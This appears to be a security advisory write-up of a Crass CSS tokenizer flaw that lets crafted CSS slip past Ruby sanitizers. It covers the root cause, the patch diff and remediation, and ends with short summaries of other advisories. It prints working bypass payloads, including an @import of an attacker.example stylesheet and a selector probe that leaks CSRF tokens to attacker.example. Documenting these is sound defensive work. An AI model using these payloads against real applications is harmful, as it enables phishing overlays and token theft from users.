Oct 29, 2026·11 min read·5 visits
Crass versions prior to 1.0.8 fail to terminate malformed URL tokens at a closing parenthesis following an escaped backslash (`\\)`). This creates a parser differential between server-side Ruby CSS sanitizers and client-side web browsers, allowing attackers to bypass CSS sanitization filters to perform UI redress, load external stylesheets, or exfiltrate sensitive page data via CSS selectors.
An interpretation conflict vulnerability (CWE-436) exists in the Ruby CSS parser library Crass prior to version 1.0.8. When consuming the remnants of a malformed URL token, the tokenizer erroneously checks the previously consumed character to determine if a valid escape sequence is present. Consequently, a closing parenthesis immediately following an escaped backslash sequence is treated as escaped by Crass, while spec-compliant web browsers treat the closing parenthesis as the end of the bad URL token. Downstream CSS sanitizers such as Sanitize, Loofah, and rails-html-sanitizer that rely on Crass to parse and reserialize untrusted CSS can be bypassed to inject arbitrary CSS declarations, style rules, and external @import directives.
Crass is a pure-Ruby CSS parser designed to implement the W3C CSS Syntax Module Level 3 specification. Within the Ruby ecosystem, Crass serves as the foundational CSS tokenization and abstract syntax tree (AST) generation engine for major HTML and CSS sanitization libraries, including Sanitize, Loofah, and rails-html-sanitizer. Web applications rely on these libraries to parse user-supplied HTML and inline or embedded CSS, strip unsafe properties or rules, and reserialize the safe AST back into the rendered document.
A parser differential classified under CWE-436 (Interpretation Conflict) exists in all versions of Crass prior to 1.0.8. The flaw resides in how Crass::Tokenizer processes the remnants of a malformed URL token (bad_url) as defined in Section 4.3.15 of the CSS Syntax Level 3 specification. Specifically, when encountering an escaped backslash sequence (\\) immediately followed by a closing parenthesis ()), Crass fails to recognize the parenthesis as the terminating delimiter of the bad_url token.
Instead of terminating the token, Crass continues consuming subsequent characters until it encounters a later unescaped closing parenthesis or reaches the end of the input stream. Modern browser rendering engines—including Blink, Gecko, and WebKit—strictly adhere to the W3C specification and terminate the bad_url token at the first closing parenthesis following \\. Everything following that parenthesis is therefore evaluated by the browser as active, top-level CSS.
When a sanitizer built on Crass processes a crafted CSS payload and reserializes the output without explicitly rejecting bad_url tokens, the swallowed declarations or rules pass through the filter uninspected. While this vulnerability does not permit direct JavaScript execution in modern browsers, it allows attackers to inject arbitrary CSS rules into sanitized contexts, leading to UI redress (clickjacking and phishing overlays), unauthorized external resource loading, and CSS-based data exfiltration.
According to the W3C CSS Syntax Module Level 3 specification (§4.3.15, "Consume the remnants of a bad url"), once a tokenizer transitions into the bad_url state due to invalid characters (such as unescaped quotes or whitespace within an unquoted url()), it must iteratively consume code points until the construct ends. The algorithm terminates when it encounters a U+0029 RIGHT PARENTHESIS ()) or EOF. If the input stream begins with a valid escape sequence (a backslash \ not followed by a newline), the tokenizer must consume the escaped code point so that an escaped closing parenthesis (\)) does not prematurely close the bad_url token.
In Crass::Tokenizer, the internal string scanner tracks the currently consumed character in @s.current and provides lookahead capability via @s.peek. Prior to version 1.0.8, the helper method valid_escape? could be called either with an explicit string argument or with no arguments. When invoked without arguments, valid_escape? inspected @s.current (the character consumed during the previous operation) combined with @s.peek (the next unconsumed character in the stream).
Within Crass::Tokenizer#consume_bad_url, the loop evaluated whether a valid escape was present at the beginning of each iteration using both forms of the check:
When the input stream inside a bad_url contained two consecutive backslashes followed by a closing parenthesis (\\)), the following sequence occurred:
elsif valid_escape?(@s.peek(2)) branch matched \\, consumed the first backslash as the escape prefix, and invoked consume_escaped to consume the second backslash. At the end of this step, @s.current held the second \ character.). The loop began by evaluating the primary if valid_escape? condition without arguments.@s.current retained the stale \ from the previous iteration and @s.peek returned ), the no-argument valid_escape? check concatenated them into \) and returned true.consume_escaped, consuming the closing parenthesis as part of an escape sequence rather than recognizing it as the bad_url delimiter.Because the closing parenthesis was consumed as an escaped character, consume_bad_url remained active and absorbed all subsequent CSS declarations, selectors, or at-rules into the raw string value of the :bad_url token.
The vulnerability was resolved in commit 689fc45c632fdf3803b2f4e844ffc9cca3b08f34 by removing the reliance on the implicit, stateful @s.current pointer across the tokenizer. In lib/crass/tokenizer.rb, the consume_bad_url method was modified to eliminate the initial no-argument call to valid_escape?.
# File: lib/crass/tokenizer.rb
@@ -277,9 +277,7 @@ def consume_bad_url
text = String.new
until @s.eos?
- if valid_escape?
- text << consume_escaped
- elsif valid_escape?(@s.peek(2))
+ if valid_escape?(@s.peek(2))
@s.consume
text << consume_escaped
elseBy removing the if valid_escape? branch in consume_bad_url, the tokenizer now exclusively checks the next two unconsumed code points via @s.peek(2) before consuming the escape prefix and the escaped character. When \\) is processed under the patched logic, the first iteration consumes both backslashes via @s.peek(2). On the next iteration, @s.peek(2) inspects ) and the character following it; since this does not start with a backslash, valid_escape?(@s.peek(2)) returns false, and the else branch consumes ) and properly terminates the bad_url token.
In addition to fixing consume_bad_url, the maintainer refactored all other call sites in lib/crass/tokenizer.rb that previously used no-argument state checks (valid_escape?, start_number?, and consume_string) to pass their character inputs explicitly:
# File: lib/crass/tokenizer.rb
@@ -132,7 +132,7 @@ def consume
when :+
- if start_number?
+ if start_number?(char + @s.peek(2))
@s.reconsume
consume_numeric
else
@@ -196,7 +196,7 @@ def consume
when :'\\'
- if valid_escape?
+ if valid_escape?(char + @s.peek)
@s.reconsume
consume_ident
else
@@ -567,7 +565,7 @@ def consume_url
when '\\'
- if valid_escape?
+ if valid_escape?(char + @s.peek)
value << consume_escaped
else> [!NOTE]
> While the other call sites in consume, consume_name, and consume_url were not vulnerable because they executed immediately after @s.consume assigned char to @s.current, refactoring them to pass char + @s.peek explicitly eliminates the risk of future stale-state bugs in the tokenizer.
To verify fix completeness and guard against variant edge cases in bad_url handling, the patch added test/test_tokenizer_bad_url.rb, which tests all permutations of up to 5 characters from the alphabet ['a', '"', '(', ')', '\\', "\n"] against a direct reference implementation of the W3C CSS Syntax Level 3 §4.3.15 specification algorithm.
Exploiting CVE-2026-116695 requires an application to accept untrusted CSS input, sanitize it using a library powered by Crass (such as Sanitize, Loofah, or rails-html-sanitizer), and render the serialized output back into a web page viewed by a user. To trigger the parser differential, the attacker must force the tokenizer into the bad_url state by placing an unescaped quote or whitespace after the initial characters of a url(...) token, followed by \\) and the smuggled CSS payload.
When an application permits inline style attributes on HTML elements and sanitizes them using Loofah::HTML5::Scrub.scrub_css, rails-html-sanitizer's sanitize_css, or Sanitize::CSS.properties, only specific properties (such as color or width) may be allowlisted. An attacker can smuggle restricted properties like position: fixed or background: url(...) inside an allowlisted property:
color:[url(x"\\)]; position:fixed; top:0; left:0; width:100vw; height:100vh; z-index:9999; background:red; x:[)];When Crass parses this declaration list, url(x" transitions the tokenizer into consume_bad_url because of the unescaped quote after x. Crass fails to stop at the first ) after \\ and consumes ]; position:fixed; ... x:[ as part of the :bad_url token inside the color property value, terminating only at the final ). If the sanitizer does not reject the entire property value due to the presence of a :bad_url token or bracket block, it re-emits the string. The browser terminates the invalid color declaration at the first )]; and applies position:fixed; top:0; ... as active inline styles.
If a sanitizer strips bare url() tokens or brackets at the top level of a property value, the attacker can wrap the malformed URL inside an allowlisted CSS function such as calc(), var(), or rgb():
width:calc(url(x"\\)); position:fixed; top:0; left:0; x:))Crass sees a single width property whose value is a calc(...) function call containing a :bad_url token. When rendered in a browser, the first ) closes the bad_url, the second ) closes calc(), the semicolon terminates the width declaration, and position:fixed is parsed as a separate declaration.
@import InjectionIn applications that sanitize full <style> elements or stylesheets using Sanitize::CSS.stylesheet, an attacker can smuggle entire style rules or @import directives inside a selector or property:
a url(x"\\){} @import url(https://attacker.example/exfil.css); b){color:red}Crass parses this input as a single style rule whose selector is a url(x"\\){} @import url(https://attacker.example/exfil.css); b) and whose declaration block is {color:red}. Because Crass does not see an @import at-rule node in the AST, Sanitize::CSS does not block it. When the browser parses the sanitized stylesheet, it drops the malformed rule a url(x"\\){} and executes @import url(https://attacker.example/exfil.css);.
CVE-2026-116695 is rated Medium severity with a CVSS v4.0 base score of 5.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N). The vulnerability does not impact the confidentiality, integrity, or availability of the server-side Ruby process itself (VC:N/VI:N/VA:N). Instead, the impact manifests entirely within the downstream client browser environment (SC:L/SI:L/SA:N) when another user views a page containing the unsanitized CSS (UI:P).
In modern browsers, arbitrary CSS injection does not directly lead to cross-site scripting (XSS), as legacy browser features such as IE's expression() or Mozilla's -moz-binding have been removed. However, bypassing CSS sanitization enables three primary attack classes against application users:
SI:L): By injecting position: fixed, z-index, and custom dimensions or pseudo-elements (::before / ::after), an attacker can overlay arbitrary visual elements over the entire viewport, hijack clicks (clickjacking), spoof login prompts, or obscure security warnings.SC:L): If an attacker can inject full style rules (either via <style> tag sanitization bypass or @import loading an external stylesheet), they can construct attribute selector side-channel probes. For example, rules such as input[name="authenticity_token"][value^="a"] { background: url(https://attacker.example/leak?char=a); } trigger outbound HTTP requests when matching DOM elements exist, allowing extraction of CSRF tokens, session identifiers, or private user data embedded in HTML attributes.SC:L): Injecting external url() references or @import rules forces victim browsers to make involuntary HTTP requests to attacker-controlled servers, leaking victim IP addresses, User-Agent headers, and Referer URLs.Within the Ruby ecosystem, this vulnerability affects every version of crass from 0.0.1 through 1.0.7, directly impacting applications that sanitize user-supplied CSS through Sanitize (all versions through 7.0.0), Loofah (Loofah::HTML5::Scrub.scrub_css), and rails-html-sanitizer (sanitize_css and the Action View sanitize helper when style attributes are permitted).
The primary remediation is to upgrade the crass gem to version 1.0.8 or later, which corrects Crass::Tokenizer#consume_bad_url so that it terminates bad_url tokens in accordance with the W3C CSS Syntax Level 3 specification.
Update your application's Gemfile to require at least version 1.0.8 of crass and update the dependency lockfile:
gem 'crass', '>= 1.0.8'Run Bundler to apply the update and verify the resolved version in Gemfile.lock:
bundle update crass
bundle info crassBecause crass is frequently pulled in as a transitive dependency of loofah, rails-html-sanitizer, or sanitize, running bundle update crass updates the transitive dependency without requiring major version upgrades of the parent sanitizer gems.
For environments where upgrading crass cannot be performed immediately, the following mitigations reduce exposure:
\\) or a url( substring prior to passing the input to the sanitizer.:bad_url node.Content-Security-Policy header that restricts style-src and limits img-src, font-src, and connect-src to trusted origins. Restricting external resource origins prevents CSS-based data exfiltration and blocks unauthorized @import stylesheet loads even if CSS sanitization is bypassed.CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
crass Ryan Grove (rgrove) | >= 0.0.1, < 1.0.8 | 1.0.8 |
| Attribute | Detail |
|---|---|
| CVE / Advisory ID | CVE-2026-116695 / GHSA-pq4g-8rxf-4g29 |
| Vulnerability Class | CWE-436: Interpretation Conflict (Parser Differential) |
| Affected Component | Crass::Tokenizer#consume_bad_url (crass < 1.0.8) |
| Attack Vector | Network (Crafted CSS Payload in Untrusted Input) |
| CVSS v4.0 Score | 5.3 Medium (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N) |
| EPSS Score | 0.353% (28.90th Percentile) |
| Security Impact | CSS Sanitizer Bypass (UI Redress, External Resource Loading, CSS Data Exfiltration) |
| Patched Version | crass 1.0.8 |
Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.
CVE-2026-115923 (GHSA-w658-mh9p-ww8f) is a path traversal and access control bypass vulnerability in Spotify's Backstage developer portal framework, specifically within the @backstage/plugin-catalog-backend package. Prior to patched versions, DefaultCatalogRulesEnforcer evaluated user-supplied URL catalog locations against configured catalog.rules patterns using raw, uncanonicalized strings. Because downstream URL readers canonicalize URLs and resolve dot segments before fetching resources, an authenticated attacker with location registration permissions can supply percent-encoded traversal sequences (such as %2e%2e) to bypass location restrictions and register untrusted catalog entities.
CVE-2026-116576 (GHSA-3f7j-7jwc-fxfj) is an OS Command Injection vulnerability (CWE-78) in the Node.js systeminformation library prior to version 5.33.16 on Microsoft Windows. The services() API function dynamically constructs a PowerShell Get-CimInstance command using caller-supplied service names passed through sanitizeShellString(). While the sanitizer strips standard ASCII quotation marks, it permits Unicode typographic quotation marks (U+2018 through U+201E). Because the Windows PowerShell tokenizer recognizes Unicode quotation marks as valid string literal delimiters, an attacker who controls the service name input can break out of the CIM filter string and execute arbitrary PowerShell commands within the security context of the Node.js process.
Tornado versions prior to 6.6.0 contain an inefficient algorithmic complexity vulnerability in the HTTP header parser. When processing requests with obsolete line folding (obs-fold), the HTTPHeaders.parse_line method repeatedly concatenates immutable Python strings within a list structure. An unauthenticated remote attacker can send an HTTP request containing thousands of short header continuation lines to trigger quadratic O(N^2) CPU consumption on the main IOLoop thread, starving concurrent connections and resulting in a denial of service.
Tornado versions prior to 6.6.0 contain an open redirect vulnerability (CWE-601) in tornado.web.RedirectHandler. When route templates incorporate regular expression capture groups at the start of a path, directly after a fixed host without a trailing slash, or at the beginning of a destination template, unvalidated URL-decoded parameters allow attackers to manipulate the redirect scheme or network location. Because modern browsers normalize URLs according to the WHATWG specification—treating backslashes as forward slashes and stripping control characters—attackers can bypass naive prefix checks and redirect victims to arbitrary external domains.
Tornado versions prior to 6.6.0 contain an uncontrolled resource consumption vulnerability (CWE-400) in the HTTP/1.1 chunked transfer encoding parser. When processing incoming chunked payloads that have already buffered in the socket read buffer, Tornado parses chunks in a tight synchronous loop without yielding to the event loop. Furthermore, non-streaming request handlers and SimpleAsyncHTTPClient store each chunk as a discrete Python bytes object inside a list, inducing an approximately 20-fold memory overhead for 1-byte chunks.
A missing cryptographic signature verification vulnerability exists in Electrum Bitcoin Wallet versions prior to 4.8.3. In Electrum's Simplified Payment Verification (SPV) architecture, the client failed to validate input signatures on unconfirmed mempool transactions received from connected Electrum servers. A malicious Electrum server can exploit this flaw by intercepting a legitimate user broadcast, suppressing it, and returning a spoofed unconfirmed transaction with an invalid signature and zero fee that redirects the user's UTXOs to an attacker-controlled address. When the user initiates a Replace-By-Fee (RBF) action to accelerate the seemingly stuck transaction, Electrum signs the spoofed outputs with the user's private keys, resulting in the direct theft of funds.